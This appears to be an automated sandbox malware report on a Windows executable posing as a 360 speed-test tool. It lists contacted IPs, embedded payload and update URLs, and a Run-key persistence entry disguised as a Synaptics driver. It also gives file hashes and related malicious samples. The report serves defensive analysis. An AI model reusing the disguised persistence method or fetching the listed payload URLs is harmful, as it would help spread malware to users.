                                                                                                                                                https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  https://accounts.google.com/v3/signin/identifier?dsh=S369217427%3A1672513695645434&continue=https%3ASynaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    http://netmon.stat.360safe.com/stat?mid=%s&type=4&k1=%I64d&k2=%shttp://netmon.stat.360safe.com/stat?360SpeedTest.exe, 00000004.00000000.301668072.0000000001308000.00000002.00000001.01000000.00000006.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://docs.google.com/uc?id%3D0BxsMXGfPIZfSVlVsSynaptics.exe, 00000002.00000003.311876891.0000000002194000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        http://xred.site50.net/syn/SUpdate.iniD0360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                        • Avira URL Cloud: safe
                                                                                                                                                        		unknown
                                                                                                                                                        http://down.360safe.com/setup.exeIsBetaVersion360ver.dll._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          https://accounts.google.com/v3/signin/identifier?Synaptics.exe, 00000002.00000000.328244791.000000000538E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            https://accounts.google.com/v3/signin/Synaptics.exe, 00000002.00000003.311931943.000000000218C000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              https://www.google.com/intl/en-US/drive/Synaptics.exe, 00000002.00000000.326986087.000000000530D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                http://netmon.stat.360safe.com/stat?mid=%s&type=408&k1=%d&k2=%s%u._cache_360#U6d4b#U901f.exe, 00000001.00000003.300692980.0000000002F48000.00000004.00000800.00020000.00000000.sdmp, ._cache_360#U6d4b#U901f.exe, 00000001.00000003.300621510.0000000002F18000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  http://file.foxitreader.cn/forbiddenTodelete.txt?skq=%dnts9475.tmp.P2P.4.drfalse
                                                                                                                                                                    		high
                                                                                                                                                                    http://speed.netmon.360safe.com/pdownlist.dat?s=521348414=1360SpeedTest.exe, 00000004.00000003.343966719.000000000788A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                      		high

                                                                                                                                                                      World Map of Contacted IPs

                                                                                                                                                                      • No. of IPs < 25%
                                                                                                                                                                      • 25% < No. of IPs < 50%
                                                                                                                                                                      • 50% < No. of IPs < 75%
                                                                                                                                                                      • 75% < No. of IPs

                                                                                                                                                                      Public IPs

                                                                                                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                      104.192.108.22
                                                                                                                                                                      		unknownUnited States
                                                                                                                                                                      		55992QIHOOBeijingQihuTechnologyCompanyLimitedCNfalse
                                                                                                                                                                      104.192.108.20
                                                                                                                                                                      		unknownUnited States
                                                                                                                                                                      		55992QIHOOBeijingQihuTechnologyCompanyLimitedCNfalse
                                                                                                                                                                      101.198.1.198
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		55992QIHOOBeijingQihuTechnologyCompanyLimitedCNfalse
                                                                                                                                                                      220.181.53.219
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		23724CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporationfalse
                                                                                                                                                                      104.192.108.19
                                                                                                                                                                      		unknownUnited States
                                                                                                                                                                      		55992QIHOOBeijingQihuTechnologyCompanyLimitedCNfalse
                                                                                                                                                                      1.192.136.171
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		137687CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePRfalse
                                                                                                                                                                      144.7.113.132
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
                                                                                                                                                                      1.192.136.133
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		137687CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePRfalse
                                                                                                                                                                      69.42.215.252
                                                                                                                                                                      		unknownUnited States
                                                                                                                                                                      		17048AWKNET-LLCUSfalse
                                                                                                                                                                      20.189.173.21
                                                                                                                                                                      		unknownUnited States
                                                                                                                                                                      		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                      84.17.52.38
                                                                                                                                                                      		unknownUnited Kingdom
                                                                                                                                                                      		60068CDN77GBfalse
                                                                                                                                                                      8.8.8.8
                                                                                                                                                                      		unknownUnited States
                                                                                                                                                                      		15169GOOGLEUSfalse
                                                                                                                                                                      172.217.168.46
                                                                                                                                                                      		unknownUnited States
                                                                                                                                                                      		15169GOOGLEUSfalse
                                                                                                                                                                      172.217.168.45
                                                                                                                                                                      		unknownUnited States
                                                                                                                                                                      		15169GOOGLEUSfalse
                                                                                                                                                                      111.3.93.133
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		56041CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationCfalse
                                                                                                                                                                      52.109.32.24
                                                                                                                                                                      		unknownUnited States
                                                                                                                                                                      		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                      118.122.13.191
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		139220CHINANET-SICHUAN-CHUANXI-IDCSichuanChuanxnIDCCNfalse
                                                                                                                                                                      1.192.136.170
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		137687CHINATELECOM-HENAN-LUOYANG-IDCLuoyangHenanProvincePRfalse
                                                                                                                                                                      116.162.26.139
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
                                                                                                                                                                      118.112.229.100
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		38283CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetDatafalse
                                                                                                                                                                      36.104.133.219
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
                                                                                                                                                                      183.201.196.131
                                                                                                                                                                      		unknownChina
                                                                                                                                                                      		132510SHANXIMCC-IDCIDCShanXiChinaMobilecommunicationscorporafalse

                                                                                                                                                                      Private

                                                                                                                                                                      IP
                                                                                                                                                                      192.168.2.1
                                                                                                                                                                      127.0.0.1

                                                                                                                                                                      General Information

                                                                                                                                                                      Joe Sandbox Version:36.0.0 Rainbow Opal
                                                                                                                                                                      Analysis ID:776384
                                                                                                                                                                      Start date and time:2022-12-31 20:07:14 +01:00
                                                                                                                                                                      Joe Sandbox Product:CloudBasic
                                                                                                                                                                      Overall analysis duration:0h 10m 29s
                                                                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                                                                      Report type:full
                                                                                                                                                                      Sample file name:360#U6d4b#U901f.exe
                                                                                                                                                                      Cookbook file name:default.jbs
                                                                                                                                                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                                      Number of analysed new started processes analysed:14
                                                                                                                                                                      Number of new started drivers analysed:0
                                                                                                                                                                      Number of existing processes analysed:0
                                                                                                                                                                      Number of existing drivers analysed:0
                                                                                                                                                                      Number of injected processes analysed:0
                                                                                                                                                                      Technologies:
                                                                                                                                                                      • HCA enabled
                                                                                                                                                                      • EGA enabled
                                                                                                                                                                      • HDC enabled
                                                                                                                                                                      • AMSI enabled
                                                                                                                                                                      Analysis Mode:default
                                                                                                                                                                      Analysis stop reason:Timeout
                                                                                                                                                                      Detection:MAL
                                                                                                                                                                      Classification:mal100.expl.evad.winEXE@11/64@0/24
                                                                                                                                                                      EGA Information:
                                                                                                                                                                      • Successful, ratio: 33.3%
                                                                                                                                                                      HDC Information:
                                                                                                                                                                      • Successful, ratio: 10.9% (good quality ratio 10.8%)
                                                                                                                                                                      • Quality average: 80.6%
                                                                                                                                                                      • Quality standard deviation: 20.2%
                                                                                                                                                                      HCA Information:
                                                                                                                                                                      • Successful, ratio: 92%
                                                                                                                                                                      • Number of executed functions: 44
                                                                                                                                                                      • Number of non-executed functions: 215
                                                                                                                                                                      Cookbook Comments:
                                                                                                                                                                      • Found application associated with file extension: .exe

                                                                                                                                                                      Warnings

                                                                                                                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
                                                                                                                                                                      • Execution Graph export aborted for target 360SpeedTest.exe, PID 6092 because there are no executed function
                                                                                                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                                      • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                      • Report size getting too big, too many NtSetInformationFile calls found.

                                                                                                                                                                      Simulations

                                                                                                                                                                      Behavior and APIs

                                                                                                                                                                      TimeTypeDescription
                                                                                                                                                                      20:08:09AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                      20:08:13API Interceptor32x Sleep call for process: Synaptics.exe modified
                                                                                                                                                                      20:08:31API Interceptor1x Sleep call for process: WerFault.exe modified

                                                                                                                                                                      Joe Sandbox View / Context

                                                                                                                                                                      IPs

                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                                      104.192.108.22http://china.cnGet hashmaliciousBrowse
                                                                                                                                                                        104.192.108.19http://104.192.108.19/softdl.360tpcdn.com/softadd/softadd_list_1.0.0.1010.cabGet hashmaliciousBrowse
                                                                                                                                                                        • 104.192.108.19/softdl.360tpcdn.com/softadd/softadd_list_1.0.0.1010.cab
                                                                                                                                                                        http://104.192.108.19/softdl.360tpcdn.com/softdetect/softdetect_1.0.0.1385.cabGet hashmaliciousBrowse
                                                                                                                                                                        • 104.192.108.19/softdl.360tpcdn.com/softdetect/softdetect_1.0.0.1385.cab
                                                                                                                                                                        http://104.192.108.19/softdl.360tpcdn.com/softdetect/softdetect_1.0.0.1385.cabGet hashmaliciousBrowse
                                                                                                                                                                        • 104.192.108.19/softdl.360tpcdn.com/softdetect/softdetect_1.0.0.1385.cab
                                                                                                                                                                        http://104.192.108.19/softdl.360tpcdn.com/softdetect/softdetect_1.0.0.1385.cabGet hashmaliciousBrowse
                                                                                                                                                                        • 104.192.108.19/softdl.360tpcdn.com/softdetect/softdetect_1.0.0.1385.cab
                                                                                                                                                                        1.192.136.133instbeta.exeGet hashmaliciousBrowse
                                                                                                                                                                          69.42.215.252file.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          K6jbVJCBk1.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          Ta5cPzStKJC93AQ.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          Z0iORdySTEIDFZI.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          lcz9qcLyWxINhHs.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          aZw4wnb0vd.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          PURCHASE ORDER FOR K POWER Co., Ltd..exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          897653-72DFJD912-5899G19-4552442PDF.Z.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          v6YuSRd3jiSNLr5.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          Server.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          Synaptics.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          Otto Technic 6665555655 i#U00e7in Sat#U0131n Alma Sipari#U015fi.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          uQB2wLdRz8.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          2qRHSElltv.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          File Explorer.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          558957d6-9173-471a-9d5b-39453e677d3b.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          S500RAT.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          kura.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          Vape V4.08.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
                                                                                                                                                                          bSK42i12rv.exeGet hashmaliciousBrowse
                                                                                                                                                                          • freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

                                                                                                                                                                          Domains

                                                                                                                                                                          ⊘No context

                                                                                                                                                                          ASNs

                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                                          QIHOOBeijingQihuTechnologyCompanyLimitedCNPeniKATXJ4.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.199.91.160
                                                                                                                                                                          7HuJu44thW.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.225.177
                                                                                                                                                                          file.exeGet hashmaliciousBrowse
                                                                                                                                                                          • 104.192.108.21
                                                                                                                                                                          http://china.cnGet hashmaliciousBrowse
                                                                                                                                                                          • 104.192.108.22
                                                                                                                                                                          M6qoP1mcZ5.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.85.222
                                                                                                                                                                          rhnRxt0ZBr.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.64.250
                                                                                                                                                                          KREZopxwSW.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.131.147
                                                                                                                                                                          x86_64-20220923-2007.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.85.206
                                                                                                                                                                          Inst7__9510085.exeGet hashmaliciousBrowse
                                                                                                                                                                          • 104.192.108.21
                                                                                                                                                                          xaAKuXBlkn.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.193.20
                                                                                                                                                                          xaAKuXBlkn.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.193.20
                                                                                                                                                                          com.qihoo360.mobilesafe.chargescreen.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.193.20
                                                                                                                                                                          com.qihoo.paymentmethod.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.0.16
                                                                                                                                                                          r7y1NIYYgBGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.235.247
                                                                                                                                                                          7YyaK2cB1s.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.193.20
                                                                                                                                                                          ke6H0OudC9Get hashmaliciousBrowse
                                                                                                                                                                          • 101.197.177.133
                                                                                                                                                                          j2HOMEQy59Get hashmaliciousBrowse
                                                                                                                                                                          • 101.199.91.145
                                                                                                                                                                          sora.armGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.235.218
                                                                                                                                                                          apep.x86Get hashmaliciousBrowse
                                                                                                                                                                          • 101.199.91.148
                                                                                                                                                                          Sz45LdfKVFGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.149.9
                                                                                                                                                                          QIHOOBeijingQihuTechnologyCompanyLimitedCNPeniKATXJ4.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.199.91.160
                                                                                                                                                                          7HuJu44thW.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.225.177
                                                                                                                                                                          file.exeGet hashmaliciousBrowse
                                                                                                                                                                          • 104.192.108.21
                                                                                                                                                                          http://china.cnGet hashmaliciousBrowse
                                                                                                                                                                          • 104.192.108.22
                                                                                                                                                                          M6qoP1mcZ5.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.85.222
                                                                                                                                                                          rhnRxt0ZBr.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.64.250
                                                                                                                                                                          KREZopxwSW.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.131.147
                                                                                                                                                                          x86_64-20220923-2007.elfGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.85.206
                                                                                                                                                                          Inst7__9510085.exeGet hashmaliciousBrowse
                                                                                                                                                                          • 104.192.108.21
                                                                                                                                                                          xaAKuXBlkn.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.193.20
                                                                                                                                                                          xaAKuXBlkn.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.193.20
                                                                                                                                                                          com.qihoo360.mobilesafe.chargescreen.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.193.20
                                                                                                                                                                          com.qihoo.paymentmethod.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.0.16
                                                                                                                                                                          r7y1NIYYgBGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.235.247
                                                                                                                                                                          7YyaK2cB1s.apkGet hashmaliciousBrowse
                                                                                                                                                                          • 101.198.193.20
                                                                                                                                                                          ke6H0OudC9Get hashmaliciousBrowse
                                                                                                                                                                          • 101.197.177.133
                                                                                                                                                                          j2HOMEQy59Get hashmaliciousBrowse
                                                                                                                                                                          • 101.199.91.145
                                                                                                                                                                          sora.armGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.235.218
                                                                                                                                                                          apep.x86Get hashmaliciousBrowse
                                                                                                                                                                          • 101.199.91.148
                                                                                                                                                                          Sz45LdfKVFGet hashmaliciousBrowse
                                                                                                                                                                          • 101.197.149.9

                                                                                                                                                                          JA3 Fingerprints

                                                                                                                                                                          ⊘No context

                                                                                                                                                                          Dropped Files

                                                                                                                                                                          ⊘No context

                                                                                                                                                                          Created / dropped Files

                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_348ac1a0e27e10257094c0b0d8fb7ab45be575f_455b7b6e_10639152\Report.wer

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):65536
                                                                                                                                                                          Entropy (8bit):1.1219668802034972
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:AlsVpsFmRHWMn4DzJDzqjte6aLAd5w/u7sHS274ItdKDzy:byUWMn4JqjR8/u7sHX4Itoy
                                                                                                                                                                          MD5:DE4209C4F6A105C86CBAE5D96E218821
                                                                                                                                                                          SHA1:18A59B1D7A2337CCCCDD1BC92BB04C47A9A0E7A4
                                                                                                                                                                          SHA-256:08EA0C6D20889D38D2C378496C6FB3CFF7A23116B068CF26842DF3E5D0EB1A22
                                                                                                                                                                          SHA-512:57DB8DD0E42577EF2E1E39D51834F9F7C8EC7EE57897C95817DF34DF9FB727FA7CE1855B1A2A1B3AB507008E460C2EC3446E61F10DF308664260C63086168C00
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Reputation:low
                                                                                                                                                                          Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.7.0.1.9.7.0.5.3.0.8.4.6.0.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.7.0.1.9.7.0.9.5.1.1.5.8.2.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.8.5.5.8.e.1.3.-.9.b.5.8.-.4.9.8.1.-.a.f.e.3.-.9.5.d.8.6.b.c.4.f.2.1.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.3.6.5.6.6.4.5.-.a.5.4.6.-.4.5.9.c.-.b.4.e.f.-.d.1.7.9.d.1.d.a.d.1.b.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.3.0.-.0.0.0.1.-.0.0.1.9.-.0.2.f.8.-.0.b.a.8.9.6.1.d.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.3.c.1.e.0.3.e.1.c.1.7.7.e.7.b.0.c.6.e.0.a.7.2.6.4.a.7.2.a.3.0.9.0.e.f.5.0.f.7.d.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER7917.tmp.dmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          File Type:Mini DuMP crash report, 15 streams, Sun Jan 1 04:08:26 2023, 0x1205a4 type
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1453956
                                                                                                                                                                          Entropy (8bit):2.022175053004908
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:yTDxZrPNQFotnmLNZrqtRw3DfGSDkvjQtfjdvEAC1iyXWgUT/K80ci4:yHxVkolyNZmSDf/k7QtOR1id
                                                                                                                                                                          MD5:EA3B687259DBE6F447082A7EF3D9D322
                                                                                                                                                                          SHA1:57A31C64E52163A68FA4742904FE47CA510BCB58
                                                                                                                                                                          SHA-256:B5694E751DB1927D74A913EFFB73D2FB514A69C9C5E20934DEF76F3960CFACE1
                                                                                                                                                                          SHA-512:B38058561CD606D5F96C9C6EE6580B3F83A936461379EB042E5FABA9F845986268B452C951EEDDEA23442349DA70A59667641AD734D22ACBD70EA8AAA50E1CA7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Reputation:low
                                                                                                                                                                          Preview:MDMP....... .......:..c............t...........<...........$...........4...............`.......8...........T........... r..d........................0...................................................................U...........B......l1......GenuineIntelW...........T.......0...(..c.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER8695.tmp.WERInternalMetadata.xml

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):6286
                                                                                                                                                                          Entropy (8bit):3.71454500277158
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:Rrl7r3GLNiSxm6s+YiSWSrCpDH89bv5sf0klm:RrlsNij6FYuSjvSfe
                                                                                                                                                                          MD5:7DFBC51E40AA61317A4236DE817AB4F9
                                                                                                                                                                          SHA1:3EDABA7A5682C42B6FCA4EDE7E8CD327C987E856
                                                                                                                                                                          SHA-256:CBC6870D0AC814904FA6461AEF998935163193E5E8148B2DB1EBB4058F6F48AD
                                                                                                                                                                          SHA-512:510FD6127F7CD7529EE3B443A307D531F0BAA52E04EB53AD755DDD0F8A4CA96DEB84896B56D41BC9E450C4D0679E9B3A498E4A56C831FEC20BBEEFC086F3864A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Reputation:low
                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.6.8.0.<./.P.i.d.>.......

                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER8790.tmp.xml

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):4556
                                                                                                                                                                          Entropy (8bit):4.438229859343177
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:cvIwSD8zs6JgtWI97LWgc8sqYjq8fm8M4JFetFj+q84iqM/QNZ+d:uITfII6grsqYLJ+fMkZ+d
                                                                                                                                                                          MD5:8BBD5F12C4CA066EE43E502B9C8F62D0
                                                                                                                                                                          SHA1:8FAA1EBCEDD28112EA648B593CB037C026679AE0
                                                                                                                                                                          SHA-256:6CE29DC7013FE75B87A403E2361073B5B9FD3D0E94BC0805ECBAF4FCE5771B11
                                                                                                                                                                          SHA-512:1BC99731B0535B58907D03DDB56E9DB474566FDD0A1CA3B3971102D7D29C4922F23B0330143FBC7363489CC4DC0011DB24B2BD2BA20732C301D079ECB377EB33
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Reputation:low
